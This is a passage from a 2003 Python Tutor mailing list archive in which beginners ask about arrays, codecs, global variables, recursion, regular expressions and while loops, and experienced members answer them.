the case).  If it is the second dimensions that are equal, then you can
omit the axis=1 parameter.

I hope this answers your question.

On Sun, 2003-06-29 at 05:48, Mike Wagman wrote:
> Been working with python (as a hobbiest) for about three months, and
> have run into something that I can't seem to figure out. I've read the
> Numeric tutorials but I still can't figure out how to do the following
> with an array.
> 
> I have two arrays of the same width but different lengths I want to
> increase the size of the first array and copy the data from the second
> into it.
> 
> I've been fighting with this but with no success. 
> 
> tempa,tempb=templist.shape
> botlista,botlistb=botlist.shape
> botlist=resize(botlist,(1,tempb+botlistb))
> botlist[botlistb:tempb+botlistb-1]=templist
> 
> I keep getting arrays not aligned where I am just not getting it.
> 
> 	Thanks
-- 
Reggie




From vicki@stanfield.net  Mon Jun 30 12:08:02 2003
From: vicki@stanfield.net (vicki@stanfield.net)
Date: Mon Jun 30 11:08:02 2003
Subject: [Tutor] (no subject)
Message-ID: <20030630080706.10914.h003.c000.wm@mail.stanfield.net.criticalpath.net>


From lists@glorybox.de  Mon Jun 30 13:37:23 2003
From: lists@glorybox.de (Kai Weber)
Date: Mon Jun 30 12:37:23 2003
Subject: [Tutor] Function Programming Style
Message-ID: <20030630155629.GA18469@glorybox.de>

Hi,

my first bigger Python program led me think about the following problem:

I have to set informations and defined appropriate get and
set-functions eg. set_title, get_title, set_date, get_date. Now I
wonder, what to do, if I have to do something with the arguments passed
to the function. Maybe then a function like set(what, value) would be
better?

def set_title(value):
	modify(value)
	title = value

def set_date(value):
	modify(value)
	title = value
VS:

def set(what, value)
	modify(value)
	if what==title
		title = value
	elif what==date
		date = value

Regards, Kai
-- 
* mail kai.weber@glorybox.de
  web http://www.glorybox.de
  pgp 0x594D4132


From mal@lemburg.com  Mon Jun 30 13:41:31 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon Jun 30 12:41:31 2003
Subject: [Tutor] Re: chinese in python23
In-Reply-To: <009501c33d4d$39d21030$224c70dc@homeu0a59ztmqs>
References: <009501c33d4d$39d21030$224c70dc@homeu0a59ztmqs>
Message-ID: <3EFDA497.8060603@lemburg.com>

jyllyj wrote:
> environment:
> window xp
> python23
> 
> i'm in default chinese gb2312 charset
> in ./python23/lib/encoding/ no found gb2312 encode/decode
> so i get gb2312 charset map from ftp://ftp.unicode.org/Public/MAPPINGS/OBSOLETE/EASTASIA/GB/GB2312.TXT
> exec /Python23/Tools/Scripts/gencodec.py get gb2312.py
> put gb2312.py into /python23/lib/encoding/
> in IDLE 0.8
> 
>>>>import codecs
>>>>codecs.lookup('gb2312')
> 
> (<bound method Codec.encode of <encodings.gb2312.Codec instance at 0x01A073F0>>, <bound method Codec.decode of <encodings.gb2312.Codec instance at 0x01A07FD0>>, <class encodings.gb2312.StreamReader at 0x010F04E0>, <class encodings.gb2312.StreamWriter at 0x010F04B0>)
> 
> look fine!
> 
>>>>text='???' #chinese char
>>>>text.decode('gb2312')
> 
> Traceback (most recent call last):
>   File "<pyshell#28>", line 1, in ?
>     text.decode('gb2312')
>   File "C:\Python23\lib\encodings\gb2312.py", line 22, in decode
>     return codecs.charmap_decode(input,errors,decoding_map)
> UnicodeDecodeError: 'charmap' codec can't decode byte 0xbd in position 0: character maps to <undefined>
> 
> what's missing?

The charmap codec will only map 8-bit encodings to Unicode (and
vice-versa). GB2312 is given as 16-bit encoding in the table
you quote.

You should probably try one of the available CJK codec
package available for Python, e.g.

"""
  http://sourceforge.net/project/showfiles.php?group_id=46747


The CJKCodecs is a unified unicode codec set for Chinese, Japanese
and Korean encodings. It supports full features of unicode codec
specification and PEP293 error callbacks on Python 2.3.

Currently supported encodings and planned updates:

Authority       0.9             1.0             1.1             1.2
==============================================================================
China (PRC)     gb2312                          iso-2022-cn
                 gbk(cp936)                      iso-2022-cn-ext
                 gb18030
                 hz

Hong Kong                                                       hkscs

Japan           shift-jis       iso-2022-jp-2   euc-jisx0213    iso-2022-int-1
                 euc-jp                          shift-jisx0213  mac_japanese
                 cp932                           iso-2022-jp-3
                 iso-2022-jp
                 iso-2022-jp-1

Korea (ROK)     euc-kr                          (ksx1001:2002)  mac_korean
                 cp949(uhc)                                      unijohab
                 johab
                 iso-2022-kr

Korea (DPRK)                                                    euc-kp

Taiwan          big5                            iso-2022-cn
                 cp950                           iso-2022-cn-ext
                                                 euc-tw

Unicode.org     utf-8           utf-7
                                 utf-16

"""

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Jun 28 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________



From decibel8@charter.net  Mon Jun 30 13:42:24 2003
From: decibel8@charter.net (David)
Date: Mon Jun 30 12:42:24 2003
Subject: [Tutor] Re: Convert list to literal string.
In-Reply-To: <20030628144336.GA30739@dman13.dyndns.org>
References: <200306280940.06720.decibelshelp@charter.net> <20030628144336.GA30739@dman13.dyndns.org>
Message-ID: <200306281000.04630.decibel8@charter.net>

I can make a loop and process the info. But you can pass Yahoo
an entire list of symbols and it will return the information.
I can make this work:

def addstock_info(addstock):
	stock = addstock
	scount = len(stock)  
	print "Getting Stockinfo data from Yahoo"
	for x in range(0,scount):
		results=quotes.findQuotes(stock[x])

With that I can pass from the command-line for example:

--addstocks  IBM,EK,MO,UTX

and loop thru them.  

I was just thinking that I could do it without looping,
since if you bypass the 'addstock' and do this:

def addstock_info(addstock):
	stock = "IBM,EK,MO,UTX'  #ignoring string passed from command-line
	print "Getting Stockinfo data from Yahoo"
	results=quotes.findQuotes(stock)

This will work also, but doesn't allow user input.

I have other functions doing stuff with command-line, but I am processing parts 
of the string. So accessing parts of it is fine.

Don't know, it might be just as fast? Was thinking it might be faster to get the quotes
from Yahoo in one swoop instead of looping.  So wanted to change to a literal string
if could figure out how. Maybe it should work, but when you send the symbols from
the command-line it doesn't unless I pass each one seperately. I must be doing something
wrong.

Dave


On Saturday 28 June 2003 09:43 am, Derrick 'dman' Hudson wrote:
> On Sat, Jun 28, 2003 at 09:40:06AM -0500, Decibels wrote:
> | Having a little problem with part of my program.
> | I had a little setup program I wrote to populate a database.
> | In the setup I used literal strings for the symbols, and figured later
> | I would have it take command-line options for them.
> |
> | Problem is now, I can't get the function to work with the list, only if
> | I enter the data as literal strings.
> |
> | Example:
> |
> | stocks = "IBM,EK"
> |
> | send that to the yahooquotes module and works fine!
>
> Ok.
>
> | When I enter them from the command-line though it doesn't
> | It comes as a list and won't work.
>
> What is the code that exhibits this?
>
> Command line arguments are always strings until the application turns
> them into other data structures.
>
> | Is there a way to make a list into a literal?
>
> Lists can be converted into strings in many ways.  The one you want to
> use depends entirely on the structure of the list you have and the
> desired format of the string you want.
>
> -D



From vicki@thepenguin.org  Mon Jun 30 13:42:42 2003
From: vicki@thepenguin.org (Vicki Stanfield)
Date: Mon Jun 30 12:42:42 2003
Subject: [Tutor] Declaring a global variable (where?)
Message-ID: <20030630160935.GA4372@thepenguin.org>

Hi all. First, I apologize for the blank email I sent earlier. I was using a new webmail client and in attempting to abandon the message, accidently did something that it interpreted as a send. Now onto business:

I am trying to declare a file handler as a global so that I can access from within any of my def blocks. I tried to add "global outfile" after the include statements at the beginning of the program and then use the same name in the assignement statement:

Class myClass:
    def __init__(self, parent, ID = -1, size = wxDefaultSize, style= -1):
[snip]
	self.outputfilesel = wxFileDialog(self, message="Choose output file.",
        defaultDir = "C:/",wildcard = "*.log", )
        self.outputfilesel.ShowModal()
        self.outputfilesel.Destroy()
        logfile = self.outputfilesel.GetFilename()
        outfile = open('C:/' +logfile, 'w')
[snip]

But I get a NameError: global name 'outfile' is not defined. Is this the appropriate place to place a global declaration?

--vicki        


From ATrautman@perryjudds.com  Mon Jun 30 13:49:52 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Mon Jun 30 12:49:52 2003
Subject: [Tutor] Function Programming Style
Message-ID: <06738462136C054B8F8872D69DA140DB01081E@corp-exch-1.pjinet.com>

Kai,

While is seems like a lot of extra typing the SET methods are normally kept
separate unless setting on value is dependant on the other. Then as you
program grows you can build functions that use the many smaller set
functions to create changes in all the required values. In addition Python
does not require set or get and (boy I hate this word) "generally" would not
be used if the value does not need to be checked or a secondary value needs
to be changed based on this change. What do that mean in English? I the
variable is an internal (no user can change) state marker the use of get/set
is not necessary and may just be extra lines of code. However, if your set
function can be accessed at three different points and 3 different contexts
then I would write a base set function, and additional set functions that
handle all of the contexts using that first small function. You as the
programmer will know that the function handles all error trapping and works
correctly so that if you base parameters don't change you should not have to
revisit it.

In addition, if you combine all of your set functions into on gigantic
function it will be much harder to debug and/or add features.

HTH,
Alan

Hi,

my first bigger Python program led me think about the following problem:

I have to set informations and defined appropriate get and
set-functions eg. set_title, get_title, set_date, get_date. Now I
wonder, what to do, if I have to do something with the arguments passed
to the function. Maybe then a function like set(what, value) would be
better?

def set_title(value):
	modify(value)
	title = value

def set_date(value):
	modify(value)
	title = value
VS:

def set(what, value)
	modify(value)
	if what==title
		title = value
	elif what==date
		date = value

Regards, Kai
-- 
* mail kai.weber@glorybox.de
  web http://www.glorybox.de
  pgp 0x594D4132

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 14:06:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 13:06:01 2003
Subject: [Tutor] finding factorials
In-Reply-To: <20030630073129.GA1434@linux.local>
Message-ID: <Pine.LNX.4.44.0306300946490.20816-100000@hkn.eecs.berkeley.edu>


On Mon, 30 Jun 2003, Payal Rathod wrote:

> Hi,
> I am very new to python and programming in general. I was reading a
> tutorial "Programming in Python" in which the author has asked the
> reader an problem which I am unable to get.
>
> Problem is as follow,
> Write  a function that implements Euclid's method for finding a common
>    factor of two numbers. It works like this:
>     1. You have two numbers, a and b, where a is larger than b
>     2. You repeat the following until b becomes zero:
>          1. a is changed to the value of b
>          2. b  is  changed to the remainder when a (before the change) is
>             divided by b (before the change)
>     3. You then return the last value of a
>
> My very basic solution is going totally wrong,


Hi Payal:


You have a small bug when you call euclid() recursively: it needs to
"return" that final value.  That is, instead of:


###
        if b != 0:
                euclid(a,b)
        return a
###


Try:


###
        if b != 0:
                return euclid(a,b)
        else:
                return a
###



This should work better because we're telling the system, "The return
value of euclid() is the return value when we call euclid() on that
smaller pair of numbers."


Otherwise, Python just drops the result on the floor.  The example below:

###
>>> def broken_square(x):
...     x * x
...
>>> broken_square(42)
>>> def real_square(x):
...     return x * x
...
>>> real_square(42)
1764
###


shows that the system behaves differently if we forget to add a 'return'
in there.  broken_square() here isn't doing anything for the same reasons
as your euclid() example.



Hope this helps!



From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 14:22:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 13:22:02 2003
Subject: [Tutor] Quick question about .split()  [use list() to turn
 strings into character lists]
In-Reply-To: <20030630121535.524286E313@smtp.us2.messagingengine.com>
Message-ID: <Pine.LNX.4.44.0306301014491.20816-100000@hkn.eecs.berkeley.edu>


On Mon, 30 Jun 2003, Kyle Babich wrote:

> I haven't programmed in about six months and the way I remember it this
> used to work:
>
> abc = 'dog'
> abc = abc.split('')
> # now abc = ['d', 'o', 'g']


Hmmm... I remember seeing a discussion about this a while back, but I
can't find the link at the moment.  But you probably want to use the
list() function to turn your string into a list of characters.  Try:

    list("hello world")

This works in Python 1.52 as well as the 2.2 series.



... Ah, ok, found it.

    http://aspn.activestate.com/ASPN/Mail/Message/python-list/1023203


But this discussion was on the main comp.lang.python newsgroup.  Didn't we
have this discussion on Python-Tutor as well?  I guess my memory's getting
flaky.  *grin*


Hope this helps!



From lists@glorybox.de  Mon Jun 30 14:26:03 2003
From: lists@glorybox.de (Kai Weber)
Date: Mon Jun 30 13:26:03 2003
Subject: [Tutor] Function Programming Style
In-Reply-To: <06738462136C054B8F8872D69DA140DB01081E@corp-exch-1.pjinet.com>
References: <06738462136C054B8F8872D69DA140DB01081E@corp-exch-1.pjinet.com>
Message-ID: <20030630171710.GA21254@glorybox.de>

* Alan Trautman <ATrautman@perryjudds.com>:

> In addition, if you combine all of your set functions into on gigantic
> function it will be much harder to debug and/or add features.

After reading your message serveral times: do you recommend smaller
set/get functions or not? Maybe my initial mail lacked some
informations.

I know Python does not need get/set but this is a common way of
accessing variables even if they "private", isn't it?

I am writing a GUI application which sets some meta informations on
files. There is a class for the information and one for the GUI. The
GUI just calls fileinfo.set_date(), fileinfo.set_url() and so on.

I now believe, this is the way to go: small, simple functions to
fullfill the KISS paradigm.
 
Kai
-- 
* mail kai.weber@glorybox.de
  web http://www.glorybox.de
  pgp 0x594D4132


From tpc@csua.berkeley.edu  Mon Jun 30 14:27:02 2003
From: tpc@csua.berkeley.edu (tpc@csua.berkeley.edu)
Date: Mon Jun 30 13:27:02 2003
Subject: [Tutor] newbie re question
Message-ID: <20030630094046.X49201-100000@localhost.name>

hi Danny, I had a question about your quick intro to Python lesson
sheet you gave out back in March 2001.  The last page talks about
formulating a regular expression to handle URLs, and you have the
following:

myre = re.compile(r'http://[\w\.-/]+\.?(?![\w.-/])')

I understand \w stands for any word character, and \. means escaped
period, and ? means zero or one instances of a character or set.  I
did a myre.search('http://www.hotmail.com') which yielded a result, but
I am confused as to why

myre.search('http://www.sfgate.com/cgi-bin/article.cgi?f=/gate/archive/2003/06/29/gavin29.DTL')

would work, since there is a '=' and you don't provide for one in the
regular expression.  I guess I also am confused why you have a '(?!'
after you allow for zero or one period.



From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 14:34:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 13:34:01 2003
Subject: [Tutor] finding factorials
In-Reply-To: <20030630141707.GA1882@linux.local>
Message-ID: <Pine.LNX.4.44.0306301022240.20816-100000@hkn.eecs.berkeley.edu>


> I have given my solution below, but still I am not able to get this
> using functions. Can anyone give more hints? I have given both working
> and non-working solution below. Check the comments.
>
>
>
> #!/usr/local/bin/python
> # Non-Working Solution
> def euclid(a,b):
>         while b != 0:
>                 c = a
>                 a = b
>                 b = c % a
>                 print 'A = ', a
>                 print 'B = ', b
>         return a
>
> x = 100
> y = 5
>
> euclid(x, y)         ###  <---- bug here
>


Hi Payal,


Same mistake as last time.  *grin* The code is simply dropping the value
that you're calculating from doing euclid().  We need to capture that
value:

###
result = euclid(x, y)
print x
print y
print "GCD is", result
###


Otherwise, your program appears to work ok.




The thing that you need to feel more familiar with is the idea that
functions return things back.


Here's another example of a set of functions:

###
def square(x):
    return x * x

def sqrt(x):
    return x ** (0.5)

def hypotenuse(a, b):
    return sqrt(square(a) + square(b))
###



The last example is important: it shows that once we define a good
function, we can use it as if it were part of the Python language itself.
We could have written hypotenuse() without using square() or sqrt():


###
def hypotenuse(a, b):
    return ((a * a) + (b * b))**(0.5)
###


And, in this example, this even appears slightly shorter than the more
verbose definition.  But I'd argue that the first version is a little
easier on the eyes.  *grin*




Hope this helps!



From abli@freemail.hu  Mon Jun 30 14:35:02 2003
From: abli@freemail.hu (Abel Daniel)
Date: Mon Jun 30 13:35:02 2003
Subject: [Tutor] Declaring a global variable (where?)
In-Reply-To: <20030630160935.GA4372@thepenguin.org>
References: <20030630160935.GA4372@thepenguin.org>
Message-ID: <20030630173352.GA556@hooloovoo>

Vicki Stanfield wrote:
> I am trying to declare a file handler as a global so that I can access
> from within any of my def blocks. I tried to add "global outfile" after
> the include statements at the beginning of the program and then use the
> same name in the assignement statement:
> 
> Class myClass:
>     def __init__(self, parent, ID = -1, size = wxDefaultSize, style= -1):
> [snip]
> 	self.outputfilesel = wxFileDialog(self, message="Choose output file.",
>         defaultDir = "C:/",wildcard = "*.log", )
>         self.outputfilesel.ShowModal()
>         self.outputfilesel.Destroy()
>         logfile = self.outputfilesel.GetFilename()
>         outfile = open('C:/' +logfile, 'w')
> [snip]
> 
> But I get a NameError: global name 'outfile' is not defined. Is this the
> appropriate place to place a global declaration?
The code you posted doesn't show the problem so I'm not sure, but I think
you aren't using global right.

You should be using global in the method where you are assigning to the
global variable.

I think you are doing:
>>> global a
>>> def f():
...     a=1
... 
>>> a=0
>>> f()
>>> print a
0

Instead of:
>>> def g():
...     global b
...     b=1
... 
>>> b=0
>>> g()
>>> print b
1

Notice that in the first example, calling f() didn't have any effect. a
was declared global outside, but _not_ in the scope of f(). So inside f,
a new 'a' was created and bound to the number '1'. But that didn't have
any effect on the 'a' in the outside scope. (Because the new name masked
the 'a' in the outside scope.)
You should put the global statement where you are rebinding that name,
in this example in myClass.__init__

(You get the NameError because you don't bind anything to the global outfile
as the one you do bind (assign) to is in myClass.__init__'s local scope,
which disappears when that method finishes. So when you try to use it, it's
not found.)

Abel Daniel
p.s. Insert standard disclamer on the evils of global variables...


From marichar@csusb.edu  Mon Jun 30 14:50:05 2003
From: marichar@csusb.edu (Matthew Richardson)
Date: Mon Jun 30 13:50:05 2003
Subject: [Tutor] newbie 'while' question
Message-ID: <1056995347.749.11.camel@matthew-richardsons-computer.local>

I'm working through Josh Cogliati's tutorial and Wesley Chun's book to
learn Python.  So far things have been going smoothly, easy to say since
I've only hit the third chapter.  However, I'm stuck on an easy problem
and it's causing me grief because I know it should be easy.  The
exercise is to take a string that is inputted by the user and print each
letter of the string individually, solve with a 'for' and a 'while.'

The 'for' was easy:

s = raw_input('Enter a name: ')
for x in s:
    print x

Trying to do it with 'while', I've only managed to get it to print
through to the last character, where it loops and continues to print the
last character until escaped.  Someone willing to point me in the right
direction?

Thanks,
Matt

-- 
Matt Richardson
Instructional Support Technician
Department of Art
CSU San Bernardino




From zak@harlekin-maus.com  Mon Jun 30 15:02:02 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Mon Jun 30 14:02:02 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1056995347.749.11.camel@matthew-richardsons-computer.local>
References: <1056995347.749.11.camel@matthew-richardsons-computer.local>
Message-ID: <2495.192.206.201.80.1056996085.squirrel@mail.harlekin-maus.com>

> Trying to do it with 'while', I've only managed to get it to print
> through to the last character, where it loops and continues to print the
> last character until escaped.  Someone willing to point me in the right
> direction?

How are you iterating? There are several ways to do this. One method
involves the string splitting stuff:

>>> a = 'frog'
>>> a[2]
o
>>> a[1:3]
rog
>>> a[:2]
fr

---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 15:07:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 14:07:02 2003
Subject: [Tutor] newbie re question
In-Reply-To: <20030630094046.X49201-100000@localhost.name>
Message-ID: <Pine.LNX.4.44.0306301037330.20816-100000@hkn.eecs.berkeley.edu>


On Mon, 30 Jun 2003 tpc@csua.berkeley.edu wrote:

> hi Danny, I had a question about your quick intro to Python lesson sheet
> you gave out back in March 2001.

Hi tpc,



Some things will never die.  *grin*



> The last page talks about formulating a regular expression to handle
> URLs, and you have the following:
>
> myre = re.compile(r'http://[\w\.-/]+\.?(?![\w.-/])')



Ok.  Let's split that up using verbose notation:


###
myre = re.compile(r'''http://            ## protocol
                      [\w\.-/]+          ## followed by a bunch of "word"
                                         ## characters

                      \.?                ## followed by an optional
                                         ## period.

                      (?!                ## Topped with a negative
                                         ## lookahead for
                            [\w.-/]      ## "word" character.

                      )''', re.VERBOSE)
###


The page:

    http://www.python.org/doc/lib/re-syntax.html

has more details about some of the regular expression syntax.  AMK has
written a nice regex HOWTO here:

    http://www.amk.ca/python/howto/regex/regex.html

which you might find useful.




> I understand \w stands for any word character, and \. means escaped
> period, and ? means zero or one instances of a character or set.  I did
> a myre.search('http://www.hotmail.com') which yielded a result, but I am
> confused as to why
>
> myre.search('http://www.sfgate.com/cgi-bin/article.cgi?f=/gate/archive/2003/06/29/gavin29.DTL')
>
> would work, since there is a '=' and you don't provide for one in the
> regular expression.


Very true.  It should, however, match against the negative lookahead ---
the regex tries to look ahead to see that it can match something like:

    "This is an url: http://python.org.  Isn't that neat?"


The negative lookup should match right here:

    "This is an url: http://python.org.  Isn't that neat?"
                                       ^

In your url above, the negative lookahead should actually hit the question
mark first before it sees '='.  That regex was a sloppy example; I should
have been more careful with it, but I was in a hurry when I wrote that
intro...  *grin*



If you're in the Berkeley area, by the way, you might want to see if
Ka-Ping Yee is planning another CS 198 class in the future:

    http://zesty.ca/bc/info.html





Anyway, we can experiment with this more easily by introducing a group
into the regular expression:

###
myre = re.compile(r'''
                    (                  ## group 1

                      http://            ## protocol
                      [\w\.-/]+          ## followed by a bunch of "word"
                                         ## characters

                      \.?                ## followed by an optional
                                         ## period.

                    )                  ## end group


                      (?!                ## Topped with a negative
                                         ## lookahead for
                            [\w.-/]      ## "word" character.

                      )''', re.VERBOSE)
###



Let's check it now:

###
>>> match =
myre.search('http://www.sfgate.com/cgi-bin/article.cgi?f=/gate/archive/2003/06/29/gavin29.DTL')
>>> match.group(1)
'http://www.sfgate.com/cgi'
###



Oiii!  The regular expression is broken.  What has happened is that I've
incorrectly defined the hyphen in the character group.  That is, instead
of


    [\w\.-/]+


I should have done:

    [\w./-]+


instead, to keep the regex engine from treating the hyphen as a span of
characters (like "[a-z]", or "[0-9]").  You can then introduce the other
characters into the "word" character class, and then it should correctly
match the sfgate url.



I hope this helps!



From dyoo@hkn.eecs.berkeley.edu  Mon Jun 30 15:12:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon Jun 30 14:12:02 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1056995347.749.11.camel@matthew-richardsons-computer.local>
Message-ID: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu>


On Mon, 30 Jun 2003, Matthew Richardson wrote:

> s = raw_input('Enter a name: ')
> for x in s:
>     print x
>
> Trying to do it with 'while', I've only managed to get it to print
> through to the last character, where it loops and continues to print the
> last character until escaped.  Someone willing to point me in the right
> direction?



Hi Matt,


Sure, but you need to show us your while loop first.


It sounds like you've almost got it right, so I suspect it has to do
something with the while loop condition always being being a true value.
But we really do need to see the code so that we don't have to read your
mind.  *grin*



Good luck to you!



From ATrautman@perryjudds.com  Mon Jun 30 15:26:01 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Mon Jun 30 14:26:01 2003
Subject: [Tutor] Function Programming Style
Message-ID: <06738462136C054B8F8872D69DA140DB010820@corp-exch-1.pjinet.com>


> In addition, if you combine all of your set functions into on gigantic
> function it will be much harder to debug and/or add features.

>After reading your message serveral times: do you recommend smaller
>set/get functions or not? Maybe my initial mail lacked some
>informations.

Sorry I guess I didn't make it clear enough. Monday and all. Yes, I
recommend the small functions as a building block for larger ones.

For Examples time function in pseudo code:

Class time:
	__init__(self):
		hour = 0
		minute = 0
		second = 0

	def setHour(self, hour)
		if hour is between 1 and 12:
			self.hour = hour
		else:
			some error thing

Do the same for minute and second.

However, you might also create a function called set time to do all three at
once:

def setTime(hour, min, sec):
	setHour(hour)
	setMinute(min)
	setSec(sec)

For when you want to set all three and you do not have to rewrite the error
checking and you can combine them in any combination desired or add
additional error checking for the higher level function.


>I know Python does not need get/set but this is a common way of
>accessing variables even if they "private", isn't it?

Yes very common especially in microsoft environoments. Many formal textbooks
say it should always be done. 

I am writing a GUI application which sets some meta informations on
files. There is a class for the information and one for the GUI. The
GUI just calls fileinfo.set_date(), fileinfo.set_url() and so on.

>I now believe, this is the way to go: small, simple functions to
>fullfill the KISS paradigm.
 
I agree and one of the great things about Python is that all of the
functionality does not have to be embedded in the GUI so you can build a
fully functional non-GUI version first and attach the GUI later to split the
testing so you can determine if it is a GUI or program error.

Kai
-- 
* mail kai.weber@glorybox.de
  web http://www.glorybox.de
  pgp 0x594D4132

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From marichar@csusb.edu  Mon Jun 30 15:56:04 2003
From: marichar@csusb.edu (Matthew Richardson)
Date: Mon Jun 30 14:56:04 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu>
Message-ID: <1056999277.749.38.camel@matthew-richardsons-computer.local>

On Mon, 2003-06-30 at 11:11, Danny Yoo wrote:
> On Mon, 30 Jun 2003, Matthew Richardson wrote:
> 
> > s = raw_input('Enter a name: ')
> > for x in s:
> >     print x
> >
> > Trying to do it with 'while', I've only managed to get it to print
> > through to the last character, where it loops and continues to print the
> > last character until escaped.  Someone willing to point me in the right
> > direction?
> 
> 
> 
> Hi Matt,
> 
> 
> Sure, but you need to show us your while loop first.
> 
> 
> It sounds like you've almost got it right, so I suspect it has to do
> something with the while loop condition always being being a true value.
> But we really do need to see the code so that we don't have to read your
> mind.  *grin*
> 
> 
> 
> Good luck to you!
> 
Hi, 
Sorry that I omitted my code in the last post.  I've been over it more
times than I can count and lost track of which *.py did what.  I've
actually had two results, the first one (already mentioned) of getting a
loop on the last character and the second where the string gets printed
and then exits an error when it runs out of characters to print.  Here's
what I've got for the second scenario:

s = raw_input('Enter a name: ')
x = 0
while x >= 0:
    print s[x]
    x += 1

The error is expected because the counter goes on beyond the number of
characters in the string and runs out of stuff to print.  Got that part
of it.  How can I count the number of characters in the string?  Then
the while statement could be changed to

while x <= NumOfChar:
    dosomestuff

Or maybe I'm off track here, too.

I should give a proper introduction of myself, I can't remember if I did
when I joined the list.  My name is Matt, I'm a lab tech at Cal State
San Bernardino, managing a photo lab and three computer labs (budget
cuts create strange job descriptions).  Python appeals to me because of
it's power and syntax.  I looked into learning Perl first, but found it
to be hard to follow.  No programming experience, no computer sci
education, just a lot of on the job training in system administration
and lab management.  Python would be a huge help in automating a lot of
things done manually in maintaining the labs.

Thanks for the help,

Matt



-- 
Matt Richardson
Instructional Support Technician
Department of Art
CSU San Bernardino




From tpc@csua.berkeley.edu  Mon Jun 30 16:14:01 2003
From: tpc@csua.berkeley.edu (tpc@csua.berkeley.edu)
Date: Mon Jun 30 15:14:01 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1056999277.749.38.camel@matthew-richardsons-computer.local>
Message-ID: <20030630120914.D49583-100000@localhost.name>

I just tried doing this and was successful.

response = raw_input('Please type your first name: ')
length = len(response)
while length > 0:
    print response[-length]
    length = length - 1



On Mon, 30 Jun 2003, Matthew Richardson wrote:

> On Mon, 2003-06-30 at 11:11, Danny Yoo wrote:
> > On Mon, 30 Jun 2003, Matthew Richardson wrote:
> >
> > > s = raw_input('Enter a name: ')
> > > for x in s:
> > >     print x
> > >
> > > Trying to do it with 'while', I've only managed to get it to print
> > > through to the last character, where it loops and continues to print the
> > > last character until escaped.  Someone willing to point me in the right
> > > direction?
> >
> >
> >
> > Hi Matt,
> >
> >
> > Sure, but you need to show us your while loop first.
> >
> >
> > It sounds like you've almost got it right, so I suspect it has to do
> > something with the while loop condition always being being a true value.
> > But we really do need to see the code so that we don't have to read your
> > mind.  *grin*
> >
> >
> >
> > Good luck to you!
> >
> Hi,
> Sorry that I omitted my code in the last post.  I've been over it more
> times than I can count and lost track of which *.py did what.  I've
> actually had two results, the first one (already mentioned) of getting a
> loop on the last character and the second where the string gets printed
> and then exits an error when it runs out of characters to print.  Here's
> what I've got for the second scenario:
>
> s = raw_input('Enter a name: ')
> x = 0
> while x >= 0:
>     print s[x]
>     x += 1
>
> The error is expected because the counter goes on beyond the number of
> characters in the string and runs out of stuff to print.  Got that part
> of it.  How can I count the number of characters in the string?  Then
> the while statement could be changed to
>
> while x <= NumOfChar:
>     dosomestuff
>
> Or maybe I'm off track here, too.
>
> I should give a proper introduction of myself, I can't remember if I did
> when I joined the list.  My name is Matt, I'm a lab tech at Cal State
> San Bernardino, managing a photo lab and three computer labs (budget
> cuts create strange job descriptions).  Python appeals to me because of
> it's power and syntax.  I looked into learning Perl first, but found it
> to be hard to follow.  No programming experience, no computer sci
> education, just a lot of on the job training in system administration
> and lab management.  Python would be a huge help in automating a lot of
> things done manually in maintaining the labs.
>
> Thanks for the help,
>
> Matt
>
>
>
> --
> Matt Richardson
> Instructional Support Technician
> Department of Art
> CSU San Bernardino
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From zak@harlekin-maus.com  Mon Jun 30 16:16:03 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Mon Jun 30 15:16:03 2003
Subject: [Tutor] newbie 'while' question
In-Reply-To: <1056999277.749.38.camel@matthew-richardsons-computer.local>
References: <Pine.LNX.4.44.0306301108510.20816-100000@hkn.eecs.berkeley.edu>
 <1056999277.749.38.camel@matthew-richardsons-computer.local>
Message-ID: <2868.192.206.201.80.1057000540.squirrel@mail.harlekin-maus.com>

> Hi,
>
> while x <= NumOfChar:
>     dosomestuff
>
> Or maybe I'm off track here, too.

Well, yes and no. It depends on whether x <= NumOfChar will ever be false,
and break you out of the while loop. Two things to remember about while
loops:
a) They're dangerous, and
b) You (almost) always want an "escape route." In your case, definitely so.

Instead of considering integers, try modifying the string itself. I don't
want to give the answer away, so I'll try to get you started with a
different example:

>>> s = ''
>>> while s:
        print 'yup'

Notice how you don't see 'yup' printed? That's because '' (an empty
string) is just as good as false. Did you see my prior post, about
accessing part of a string?

>>> s = 'frog'
>>> s[0]
'f'
>>> s[2:]
'og'
>>> s[6:]
''

There's a few hints towards my solution (which, admittedly, may not be the
best).


---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From jeff@ccvcorp.com  Mon Jun 30 16:19:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon Jun 30 15:19:01 2003
